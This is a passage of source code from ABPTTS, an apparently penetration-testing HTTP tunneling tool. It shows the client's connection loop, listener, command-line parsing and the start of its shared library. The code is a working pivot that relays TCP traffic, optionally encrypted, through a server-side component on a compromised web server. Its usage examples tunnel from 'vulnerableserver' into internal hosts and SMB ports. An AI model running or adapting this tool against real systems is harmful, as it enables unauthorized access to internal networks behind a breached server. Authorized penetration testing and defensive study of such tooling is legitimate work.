188 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode)
189 | response = ""
190 | content = ""
191 | cookieVal = ""
192 |
193 | try:
194 | outputHandler.outputMessage('Connecting to %s:%i via %s' % (destAddress, destPort, forwardingURL))
195 |
196 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringOpenConnection + dataBlockParamSeparator + conf.paramNameDestinationHost + dataBlockNameValueSeparator + destAddress + dataBlockParamSeparator + conf.paramNameDestinationPort + dataBlockNameValueSeparator + str(destPort)
197 |
198 | if len(encryptionKey) > 0:
199 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringOpenConnection + dataBlockParamSeparator + conf.paramNameDestinationHost + dataBlockNameValueSeparator + destAddress + dataBlockParamSeparator + conf.paramNameDestinationPort + dataBlockNameValueSeparator + str(destPort)
200 | #print "Plaintext message: " + plaintextMessage
201 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize))
202 | if conf.accessKeyMode == "header":
203 | body = {conf.paramNameEncryptedBlock: ciphertextMessage }
204 | else:
205 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage }
206 | else:
207 | # body = {conf.paramNameOperation: conf.opModeStringOpenConnection, conf.paramNameDestinationHost: destAddress, conf.paramNameDestinationPort: destPort }
208 | plaintextMessage = base64.b64encode(plaintextMessage)
209 | if conf.accessKeyMode == "header":
210 | body = {conf.paramNamePlaintextBlock: plaintextMessage }
211 | else:
212 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage }
213 | encodedBody = urllib.urlencode(body)
214 | if conf.echoHTTPBody:
215 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, '', 'HTTP Request Body', '%s%s' % (os.linesep, encodedBody))
216 |
217 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode)
218 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=encodedBody)
219 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID)
220 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response)
221 | headers['Cookie'] = cookieVal
222 | if conf.responseStringConnectionCreated in content:
223 | responseArray = content.split(" ")
224 | if len(responseArray) > 1:
225 | connectionID = responseArray[1]
226 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Server created connection ID %s' % (connectionID))
227 | else:
228 | runChildLoop = 0
229 | outputHandler.outputMessage('Error: could not create connection. Raw server response: ' + content)
230 |
231 | iterationCounter = 0
232 | clientSentByteCounter = 0
233 | serverSentByteCounter = 0
234 | clientHasClosedConnection = False
235 |
236 | while runChildLoop == 1:
237 | clientMessageB64 = ""
238 | serverMessageB64 = ""
239 | content = ""
240 | scaleSocketTimeoutUp = False
241 | scaleSocketTimeoutDown = False
242 | clientSocketTimedOut = False
243 | trafficSent = False
244 |
245 | if clientHasClosedConnection == False:
246 | try:
247 | currentFromClient = clientsock.recv(conf.clientSocketBufferSize)
248 | if currentFromClient:
249 | clientToServerBuffer += currentFromClient
250 | else:
251 | clientHasClosedConnection = True
252 |
253 | except socket.error as e:
254 | if "timed out" not in str(e):
255 | raise e
256 | else:
257 | clientSocketTimedOut = True
258 |
259 | c2sBufferLength = len(clientToServerBuffer)
260 | if c2sBufferLength > 0:
261 | trafficSent = True
262 | toServerByteCount = conf.clientToServerBlockSize
263 | if toServerByteCount > c2sBufferLength:
264 | toServerByteCount = c2sBufferLength
265 | fromClient = ""
266 | if toServerByteCount < c2sBufferLength:
267 | fromClient = clientToServerBuffer[0:toServerByteCount]
268 | clientToServerBuffer = clientToServerBuffer[toServerByteCount:]
269 | else:
270 | fromClient = clientToServerBuffer[:]
271 | clientToServerBuffer = ""
272 | clientSentByteCounter = clientSentByteCounter + len(fromClient)
273 |
274 | clientMessageB64 = base64.b64encode(fromClient)
275 | if conf.echoDebugMessages:
276 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%s%i bytes' % (os.linesep, len(fromClient)))
277 | if conf.echoData:
278 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, clientMessageB64))
279 | else:
280 | if clientHasClosedConnection:
281 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Client closed channel')
282 | clientMessageB64 = ""
283 | runChildLoop = 0
284 | closeConnections = 1
285 |
286 | try:
287 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringSendReceive + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID + dataBlockParamSeparator + conf.paramNameData + dataBlockNameValueSeparator + clientMessageB64
288 | if len(encryptionKey) > 0:
289 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringSendReceive + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID + dataBlockParamSeparator + conf.paramNameData + dataBlockNameValueSeparator + clientMessageB64
290 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize))
291 | if conf.echoData:
292 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Encrypted) (base64)', '%s%s' % (os.linesep, ciphertextMessage))
293 | if conf.accessKeyMode == "header":
294 | body = {conf.paramNameEncryptedBlock: ciphertextMessage }
295 | else:
296 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage }
297 | else:
298 | #body = {conf.paramNameOperation: conf.opModeStringSendReceive, conf.paramNameConnectionID: connectionID, conf.paramNameData: clientMessageB64 }
299 | plaintextMessage = base64.b64encode(plaintextMessage)
300 |
301 | if conf.accessKeyMode == "header":
302 | body = {conf.paramNamePlaintextBlock: plaintextMessage }
303 | else:
304 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage }
305 |
306 | encodedBody = urllib.urlencode(body)
307 | if conf.echoHTTPBody:
308 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Request Body', '%s%s' % (os.linesep, encodedBody))
309 | response = []
310 | madeRequest = False
311 | httpRetryCount = 0
312 | while madeRequest == False:
313 | try:
314 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=encodedBody)
315 | madeRequest = True
316 | except Exception as e:
317 | httpRetryCount += 1
318 | if httpRetryCount > httpRequestRetryLimit:
319 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error - HTTP request retry limit of %i has been reached, and this request will not be retried. Final error was: %s' % (httpRequestRetryLimit, e))
320 | madeRequest = True
321 | else:
322 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error - HTTP request failed with the following message: %s. This request will be retried up to %i times.' % (e, httpRequestRetryLimit))
323 | time.sleep(httpRequestRetryDelay)
324 |
325 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID)
326 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response)
327 | headers['Cookie'] = cookieVal
328 | except Exception as e:
329 | raise e
330 |
331 | serverClosedConnection = False
332 |
333 | try:
334 | srb = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID)
335 | #print '"' + srb + '"'
336 | srbArray = srb.split(" ", 1)
337 | fromServer = ""
338 | if len(srbArray) > 1:
339 | if srbArray[0] == conf.responseStringData:
340 | fromServerB64 = srbArray[1]
341 | fromServer = base64.b64decode(fromServerB64)
342 | if len(encryptionKey) > 0:
343 | if conf.echoData:
344 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Encrypted) (base64)', '%s%s' % (os.linesep, fromServerB64))
345 | fromServer = decrypt(fromServer, str(encryptionKey), encryptionBlockSize)
346 | #print '"' + fromServer + '"'
347 | else:
348 | if conf.echoData:
349 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, fromServerB64))
350 | fullMessageSize = len(fromServer)
351 | numBlocks = int(math.ceil(float(fullMessageSize) / float(conf.clientBlockSizeLimitFromServer)))
352 | if conf.echoDebugMessages:
353 | if numBlocks > 1:
354 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Splitting large block (%i bytes) into %i blocks for relay to client' % (fullMessageSize, numBlocks))
355 | for blockNum in range(0, numBlocks):
356 | firstByte = blockNum * conf.clientBlockSizeLimitFromServer
357 | lastByte = (blockNum + 1) * conf.clientBlockSizeLimitFromServer
358 | if lastByte > fullMessageSize:
359 | lastByte = fullMessageSize
360 | currentBlock = fromServer[firstByte:lastByte]
361 | serverSentByteCounter = serverSentByteCounter + len(currentBlock)
362 | if conf.echoData:
363 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'Raw Data (Plaintext) (base64)', '%s%s' % (os.linesep, base64.b64encode(currentBlock)))
364 | if conf.echoDebugMessages:
365 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '(Block %i/%i) %i bytes' % (blockNum + 1, numBlocks, len(currentBlock)))
366 | try:
367 | clientsock.send(currentBlock)
368 | except Exception as e:
369 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Error sending to client - %s' % (e))
370 | if conf.clientBlockTransmitSleepTime > 0.0:
371 | if blockNum < (numBlocks - 1):
372 | time.sleep(conf.clientBlockTransmitSleepTime)
373 | else:
374 | foundResponseType = False
375 | if srb == conf.responseStringNoData:
376 | foundResponseType = True
377 | if conf.echoDebugMessages:
378 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'No data to receive from server at this time')
379 | else:
380 | trafficSent = True
381 | if srb == conf.responseStringErrorInvalidRequest:
382 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that the request was invalid. Verify that that you are using a client configuration compatible with the server-side component.')
383 | foundResponseType = True
384 | if srb == conf.responseStringErrorConnectionOpenFailed:
385 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that the requested connection could not be opened. You may have requested a destination host/port that is inaccessible to the server, the server may have exhausted ephemeral ports (although this is unlikely), or another component (e.g. firewall) may be interfering with connectivity.')
386 | foundResponseType = True
387 | if srb == conf.responseStringErrorConnectionSendFailed:
388 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that an error occurred while sending data over the TCP connection.')
389 | foundResponseType = True
390 | if srb == conf.responseStringErrorConnectionReceiveFailed:
391 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that an error occurred while receiving data over the TCP connection.')
392 | foundResponseType = True
393 | if srb == conf.responseStringErrorDecryptFailed:
394 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported a decryption failure. Verify that the encryption keys in the client and server configurations match.')
395 | foundResponseType = True
396 | if srb == conf.responseStringErrorEncryptFailed:
397 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported an encryption failure. Verify that the encryption keys in the client and server configurations match.')
398 | foundResponseType = True
399 | if srb == conf.responseStringErrorEncryptionNotSupported:
400 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that it does not support encryption. Verify that that you are using a client configuration compatible with the server-side component.')
401 | foundResponseType = True
402 | if foundResponseType == False:
403 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'Unexpected response from server: %s' % (content))
404 | serverClosedConnection = True
405 |
406 | if conf.responseStringConnectionClosed in content:
407 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server explicitly closed connection ID %s' % (connectionID))
408 | serverClosedConnection = True
409 | if conf.responseStringErrorConnectionNotFound in content:
410 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server reported that connection ID %s was not found - assuming connection has been closed.' % (connectionID))
411 | serverClosedConnection = True
412 | except socket.error as e:
413 | if "timed out" not in str(e):
414 | raise e
415 |
416 | if trafficSent:
417 | scaleSocketTimeoutDown = True
418 | scaleSocketTimeoutUp = False
419 | else:
420 | scaleSocketTimeoutDown = False
421 | scaleSocketTimeoutUp = True
422 |
423 | if serverClosedConnection == True:
424 | runChildLoop = 0
425 | closeConnections = 1
426 | try:
427 | responseArray = content.split(" ")
428 | if len(responseArray) > 1:
429 | connectionID = responseArray[1]
430 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s' % (connectionID))
431 | else:
432 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s without specifying its ID' % (connectionID))
433 | except:
434 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', 'The server closed connection ID %s without sending a response' % (connectionID))
435 |
436 | iterationCounter = iterationCounter + 1
437 | if iterationCounter > conf.statsUpdateIterations:
438 | outputTunnelIOMessage('C2S', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%i bytes sent since last report' % (clientSentByteCounter))
439 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, '', '%i bytes sent since last report' % (serverSentByteCounter))
440 | iterationCounter = 0
441 | clientSentByteCounter = 0
442 | serverSentByteCounter = 0
443 |
444 | if runServer == 0:
445 | outputHandler.outputMessage('Server shutdown request received in thread for connection ID %s' % (connectionID))
446 | runChildLoop = 0
447 | closeConnections = 1
448 | else:
449 | if conf.autoscaleClientSocketTimeout:
450 | # scale socket timeout up/down if the criteria for doing so was met
451 | timeoutChange = 0.0
452 | #global socketTimeoutCurrent
453 | newSocketTimeout = socketTimeoutCurrent
454 | if scaleSocketTimeoutDown or scaleSocketTimeoutUp:
455 | timeoutChange = conf.clientSocketTimeoutScalingMultiplier * socketTimeoutCurrent
456 | if scaleSocketTimeoutDown:
457 | newSocketTimeout = conf.clientSocketTimeoutMin
458 | if scaleSocketTimeoutUp:
459 | newSocketTimeout = socketTimeoutCurrent + timeoutChange
460 | # make sure socket timeout is within specified range
461 | if newSocketTimeout < conf.clientSocketTimeoutMin:
462 | newSocketTimeout = conf.clientSocketTimeoutMin
463 | if newSocketTimeout > conf.clientSocketTimeoutMax:
464 | newSocketTimeout = conf.clientSocketTimeoutMax
465 | if newSocketTimeout != socketTimeoutCurrent:
466 | if conf.echoDebugMessages:
467 | outputHandler.outputMessage('[Connection ID %s]: Client-side socket timeout has been changed from %f to %f' % (connectionID, socketTimeoutCurrent, newSocketTimeout))
468 | socketTimeoutCurrent = newSocketTimeout
469 |
470 | # apply random socket timeout variation
471 | timeoutVar = random.uniform(clientSocketTimeoutVariationNeg, conf.clientSocketTimeoutVariation)
472 | timeoutModifier = (socketTimeoutCurrent * timeoutVar)
473 | effectiveTimeout = (socketTimeoutCurrent + timeoutModifier)
474 | if conf.echoDebugMessages:
475 | outputHandler.outputMessage('[Connection ID %s]: Applying random variation of %f to client-side socket timeout for this iteration - timeout will be %f' % (connectionID, timeoutModifier, effectiveTimeout))
476 |
477 | clientsock.settimeout(effectiveTimeout)
478 |
479 |
480 | except Exception as e:
481 | outputHandler.outputMessage('Connection-level exception: %s in thread for tunnel (%s -> %s -> %s)' % (e, formattedClientAddress, listeningAddress, formattedServerAddress))
482 | closeConnections = 1
483 | runChildLoop = 0
484 | if closeConnections == 1:
485 | outputHandler.outputMessage('Disengaging tunnel (%s -> %s -> %s)' % (formattedClientAddress, listeningAddress, formattedServerAddress))
486 | outputHandler.outputMessage('Closing client socket (%s -> %s)' % (formattedClientAddress, listeningAddress))
487 | try:
488 | clientsock.shutdown(1)
489 | clientsock.close()
490 | except Exception as e2:
491 | outputHandler.outputMessage('Exception while closing client socket (%s -> %s): %s' % (formattedClientAddress, listeningAddress, e2))
492 | plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringCloseConnection + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID
493 | if len(encryptionKey) > 0:
494 | #plaintextMessage = conf.paramNameOperation + dataBlockNameValueSeparator + conf.opModeStringCloseConnection + dataBlockParamSeparator + conf.paramNameConnectionID + dataBlockNameValueSeparator + connectionID
495 | ciphertextMessage = base64.b64encode(encrypt(plaintextMessage, str(encryptionKey), encryptionBlockSize))
496 | if conf.accessKeyMode == "header":
497 | body = {conf.paramNameEncryptedBlock: ciphertextMessage }
498 | else:
499 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNameEncryptedBlock: ciphertextMessage }
500 |
501 | else:
502 | #body = {conf.paramNameOperation: conf.opModeStringCloseConnection, conf.paramNameConnectionID: connectionID }
503 | plaintextMessage = base64.b64encode(plaintextMessage)
504 | if conf.accessKeyMode == "header":
505 | body = {conf.paramNamePlaintextBlock: plaintextMessage }
506 | else:
507 | body = {conf.paramNameAccessKey: conf.headerValueKey, conf.paramNamePlaintextBlock: plaintextMessage }
508 |
509 | http = httplib2.Http(timeout=httpConnectionTimeout, disable_ssl_certificate_validation=unsafeTLSMode)
510 | response, content = http.request(forwardingURL, 'POST', headers=headers, body=urllib.urlencode(body))
511 | content = getServerResponseFromResponseBody(content, responseStringWrapperText, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID)
512 | cookieVal = getCookieFromServerResponse(connectionID, cookieVal, response)
513 | headers['Cookie'] = cookieVal
514 | if conf.responseStringConnectionClosed in content:
515 | responseArray = content.split(" ")
516 | if len(responseArray) > 1:
517 | connectionID = responseArray[1]
518 | outputHandler.outputMessage('Server closed connection ID %s' % (connectionID))
519 | else:
520 | outputHandler.outputMessage('Error: could not close connection ID %s (may have already been closed on the server). Raw server response: %s' % (connectionID, content))
521 | else:
522 | outputHandler.outputMessage("Unexpected state: child loop exited without closeConnections being set to 1")
523 |
524 | except Exception as bigE:
525 | outputHandler.outputMessage("High-level exception: %s" % (str(bigE)))
526 |
527 | def StartListener(forwardingURL, localAddress, localPort, destAddress, destPort):
528 | #formattedAddress = str(localAddress) + ":" + str(localPort)
529 | formattedAddress = '%s:%s' % (localAddress, localPort)
530 | try:
531 | myserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
532 | myserver.bind((localAddress, localPort))
533 | myserver.listen(2)
534 | #outputHandler.outputMessage('Server started')
535 | outputHandler.outputMessage('Listener ready to forward connections from %s to %s:%i via %s' % (formattedAddress, destAddress, destPort, forwardingURL))
536 | while runServer > 0:
537 | try:
538 | outputHandler.outputMessage('Waiting for client connection to %s' % (formattedAddress))
539 | client, addr = myserver.accept()
540 | outputHandler.outputMessage('Client connected to %s' %(formattedAddress))
541 | thread.start_new_thread(child, (client, addr, formattedAddress, forwardingURL, destAddress, destPort))
542 | except Exception as e:
543 | if "Closing connections" not in str(e):
544 | raise e
545 | except Exception as e:
546 | outputHandler.outputMessage('Error in listener on %s: %s' % (formattedAddress, e))
547 | outputHandler.outputMessage('Shutting down listener on %s' % (formattedAddress))
548 |
549 |
550 | def ShowUsage():
551 | print 'Usage: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 [...] -c CONFIG_FILE_n -u FORWARDINGURL -f LOCALHOST1:LOCALPORT1/TARGETHOST1:TARGETPORT1 -f LOCALHOST2:LOCALPORT2/TARGETHOST2:TARGETPORT2 [...] LOCALHOSTn:LOCALPORTn/TARGETHOSTn:TARGETPORTn [--debug]' % (sys.argv[0])
552 | print os.linesep
553 | print 'Example: %s -c CONFIG_FILE_1 -u https://vulnerableserver/EStatus/ -f 127.0.0.1:28443/10.10.20.11:8443' % (sys.argv[0])
554 | print os.linesep
555 | print 'Example: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 -u https://vulnerableserver/EStatus/ -f 127.0.0.1:135/10.10.20.37:135 -f 127.0.0.1:139/10.10.20.37:139 -f 127.0.0.1:445/10.10.20.37:445' % (sys.argv[0])
556 | print os.linesep
557 | print 'Data from configuration files is applied in sequential order, to allow partial customization files to be overlayed on top of more complete base files.'
558 | print os.linesep
559 | print 'IE if the same parameter is defined twice in the same file, the later value takes precedence, and if it is defined in two files, the value in whichever file is specified last on the command line takes precedence.'
560 | print os.linesep
561 | print '--debug will enable verbose output.'
562 | print os.linesep
563 | print '--unsafetls will disable TLS/SSL certificate validation when connecting to the server, if the connection is over HTTPS'
564 | # logging-related options not mentioned because file output is buggy - just redirect stdout to a file instead
565 | #print os.linesep
566 | #print '--log LOGFILEPATH will cause all output to be written to the specified file (as well as the console, unless --quiet is also specified).'
567 | #print os.linesep
568 | #print '--quiet will suppress console output (but still allow log file output if that option is enabled).'
569 |
570 | def SplitOnLast(inputString, splitCharacter):
571 | result = []
572 | splitCharPosition = inputString.rfind(splitCharacter)
573 | #print "Split character position: %i" % splitCharPosition
574 | #print inputString[:splitCharPosition]
575 | #print inputString[(splitCharPosition + 1):]
576 | if splitCharPosition > 0:
577 | result.append(inputString[:splitCharPosition])
578 | result.append(inputString[(splitCharPosition + 1):])
579 | else:
580 | result.append(inputString)
581 | return result
582 |
583 | if __name__=='__main__':
584 | showBanner()
585 | if len(sys.argv) < 5:
586 | ShowUsage()
587 | sys.exit(1)
588 |
589 | forwardingURL = ""
590 | forwardingConfigurationList = []
591 | configFileList = []
592 | cliLogFileLocation = ""
593 | cliDebugOutput = False
594 | cliQuietOutput = False
595 |
596 | basePath = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
597 |
598 | args2 = []
599 |
600 | argNum = 0
601 | while argNum < len(sys.argv):
602 | currentArg = sys.argv[argNum]
603 | foundArg = False
604 | if argNum < (len(sys.argv) - 1):
605 | nextArg = sys.argv[argNum + 1]
606 | if currentArg == "-c":
607 | foundArg = True
608 | #configFileList = nextArg.split(",")
609 | configFileList.append(nextArg)
610 | if foundArg == False:
611 | if currentArg == "-u":
612 | foundArg = True
613 | forwardingURL = nextArg
614 | if foundArg == False:
615 | if currentArg == "-f":
616 | foundArg = True
617 | #forwardingConfigurationList = nextArg.split(",")
618 | forwardingConfigurationList.append(nextArg)
619 | if foundArg == False:
620 | if currentArg == "--log":
621 | foundArg = True
622 | cliLogFileLocation = nextArg
623 | if foundArg:
624 | argNum += 2
625 | if foundArg == False:
626 | args2.append(currentArg)
627 | argNum += 1
628 |
629 | # this is done twice to cause these settings to apply for all output...
630 | if cliLogFileLocation != "":
631 | conf.writeToLog = True
632 | conf.logFilePath = cliLogFileLocation
633 | for a in args2:
634 | if a == "--debug":
635 | conf.echoDebugMessages = True
636 | if a == "--unsafetls":
637 | unsafeTLSMode = True
638 | outputHandler.outputMessage('WARNING: The current configuration ignores TLS/SSL certificate validation errors for connection to the server component. This increases the risk of the communication channel being intercepted or tampered with.')
639 |
640 | #if a == "--quiet":
641 | # conf.writeToStandardOut = False
642 |
643 | parameterFileArray = []
644 | parameterFileArray.append(os.path.join(basePath, 'data', 'settings-default.txt'))
645 | parameterFileArray.append(os.path.join(basePath, 'data', 'settings-fallback.txt'))
646 | for cf in configFileList:
647 | parameterFileArray.append(cf)
648 | if conf.echoDebugMessages:
649 | conf.LoadParameters(parameterFileArray, True)
650 | else:
651 | conf.LoadParameters(parameterFileArray, False)
652 |
653 | # only compute this once
654 | #global clientSocketTimeoutVariationNeg
655 | clientSocketTimeoutVariationNeg = conf.clientSocketTimeoutVariation * -1.0
656 |
657 | # Handle not only the "normal" prefix/suffix blocks, but also any variations created
658 | # by "helpful" servers, e.g. Apache Tomcat, which transparently strips
659 | # \r characters from output
660 | #global responseStringWrapperText
661 | responseStringWrapperText = []
662 | responseStringPrefix = base64.b64decode(conf.responseStringPrefixB64)
663 | responseStringWrapperText.append(responseStringPrefix)
664 | responseStringWrapperText.append(responseStringPrefix.replace("\r", ""))
665 | responseStringSuffix = base64.b64decode(conf.responseStringSuffixB64)
666 | responseStringWrapperText.append(responseStringSuffix)
667 | responseStringWrapperText.append(responseStringSuffix.replace("\r", ""))
668 |
669 | #global dataBlockNameValueSeparator
670 | #global dataBlockParamSeparator
671 | dataBlockNameValueSeparator = base64.b64decode(conf.dataBlockNameValueSeparatorB64)
672 | dataBlockParamSeparator = base64.b64decode(conf.dataBlockParamSeparatorB64)
673 |
674 |
675 | #socketTimeoutCurrent = clientSocketTimeoutBase
676 | #global encryptionKey
677 | encryptionKey = []
678 | encryptedTraffic = False
679 |
680 | if len(conf.encryptionKeyHex) > 0:
681 | try:
682 | encryptionKey = binascii.unhexlify(conf.encryptionKeyHex)
683 | encryptedTraffic = True
684 | except:
685 | encryptionKey = []
686 |
687 | if encryptedTraffic == False:
688 | outputHandler.outputMessage('WARNING: The current configuration DOES NOT ENCRYPT tunneled traffic. If you wish to use symmetric encryption, restart this utility with a configuration file which defines a valid encryption key.')
689 |
690 | # ...as well as override contrary values in the settings file(s)
691 | if cliLogFileLocation != "":
692 | conf.writeToLog = True
693 | conf.logFilePath = cliLogFileLocation
694 | for a in args2:
695 | if a == "--debug":
696 | conf.echoDebugMessages = True
697 |
698 | #time.sleep(0.1)
699 |
700 | if conf.echoDebugMessages:
701 | conf.ShowParameters()
702 |
703 | #time.sleep(0.1)
704 |
705 | if forwardingURL == "":
706 | outputHandler.outputMessage('Error: no ABPTTS forwarding URL was specified. This utility will now exit.')
707 | sys.exit(2)
708 |
709 | forwarderCount = 0
710 |
711 | for fw in forwardingConfigurationList:
712 | parsedMap = False
713 | #try:
714 | forwardingConfigurationString1 = fw.split("/")
715 | if len(forwardingConfigurationString1) > 1:
716 | #forwardingConfigurationString1a = forwardingConfigurationString1[0].split(":")
717 | #forwardingConfigurationString1b = forwardingConfigurationString1[1].split(":")
718 | forwardingConfigurationString1a = SplitOnLast(forwardingConfigurationString1[0], ":")
719 | forwardingConfigurationString1b = SplitOnLast(forwardingConfigurationString1[1], ":")
720 | if len(forwardingConfigurationString1a) > 1:
721 | if len(forwardingConfigurationString1b) > 1:
722 | localAddress = forwardingConfigurationString1a[0]
723 | localPortString = forwardingConfigurationString1a[1]
724 | destAddress = forwardingConfigurationString1b[0]
725 | destPortString = forwardingConfigurationString1b[1]
726 | #print "Local address: %s" % localAddress
727 | #print "Local port: %s" % localPortString
728 | #print "Dest address: %s" % destAddress
729 | #print "Dest port: %s" % destPortString
730 | try:
731 | localPort = int(localPortString)
732 | except:
733 | print "Could not parse a local port number as an integer"
734 | sys.exit(1)
735 | try:
736 | destPort = int(destPortString)
737 | except:
738 | print "Could not parse a destination port number as an integer"
739 | sys.exit(1)
740 | parsedMap = True
741 | #sys.exit(0)
742 | #except:
743 | # parsedMap = False
744 | if parsedMap:
745 | thread.start_new_thread(StartListener, (forwardingURL, localAddress, localPort, destAddress, destPort))
746 | forwarderCount += 1
747 | else:
748 | print "Could not map the input parameter '%s' to a source/destination host/port definition" % (fw)
749 |
750 | if forwarderCount == 0:
751 | outputHandler.outputMessage('Error: no valid port-forwarding definitions were specified. This utility will now exit.')
752 | else:
753 | try:
754 | while 1:
755 | time.sleep(1)
756 | except KeyboardInterrupt:
757 | outputHandler.outputMessage('Console operator terminated server')
758 | runServer = 0
759 |
760 | outputHandler.outputMessage('Server shutdown')
761 |
762 | if conf.writeToLog:
763 | outputHandler.outputMessage('Please wait - writing remaining log output buffer to disk')
764 | runLoggingThread = 0
765 |
766 |
767 |
--------------------------------------------------------------------------------
/libabptts.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | # This file is part of A Black Path Toward The Sun ("ABPTTS")
4 |
5 | # Copyright 2016 NCC Group
6 |
7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify
8 | # it under the terms of version 2 of the GNU General Public License as published by
9 | # the Free Software Foundation.
10 |
11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 |
16 | # You should have received a copy of the GNU General Public License
17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt).
18 | # If not, see .
19 |
20 | # Version 1.0
21 | # Ben Lincoln, NCC Group
22 | # 2016-07-30
23 |
24 | # shared classes
25 |
26 | import base64
27 | import binascii
28 | import httplib2
29 | import inspect
30 | import math
31 | #import multiprocessing
32 | import os
33 | import random
34 | import re
35 | import sys
36 | import socket
37 | import thread
38 | #import threading
39 | import time
40 | import urllib
41 | import zipfile
42 |
43 | from Crypto.Cipher import AES
44 | from datetime import datetime, date, tzinfo, timedelta
45 | from shutil import copyfile
46 |
47 | class ABPTTSVersion:
48 | @staticmethod
49 | def GetVersionString():
50 | return "1.0"
51 |
52 | @staticmethod
53 | def GetReleaseDateString():
54 | return "2016-07-30"
55 |
56 | class OutputHandler:
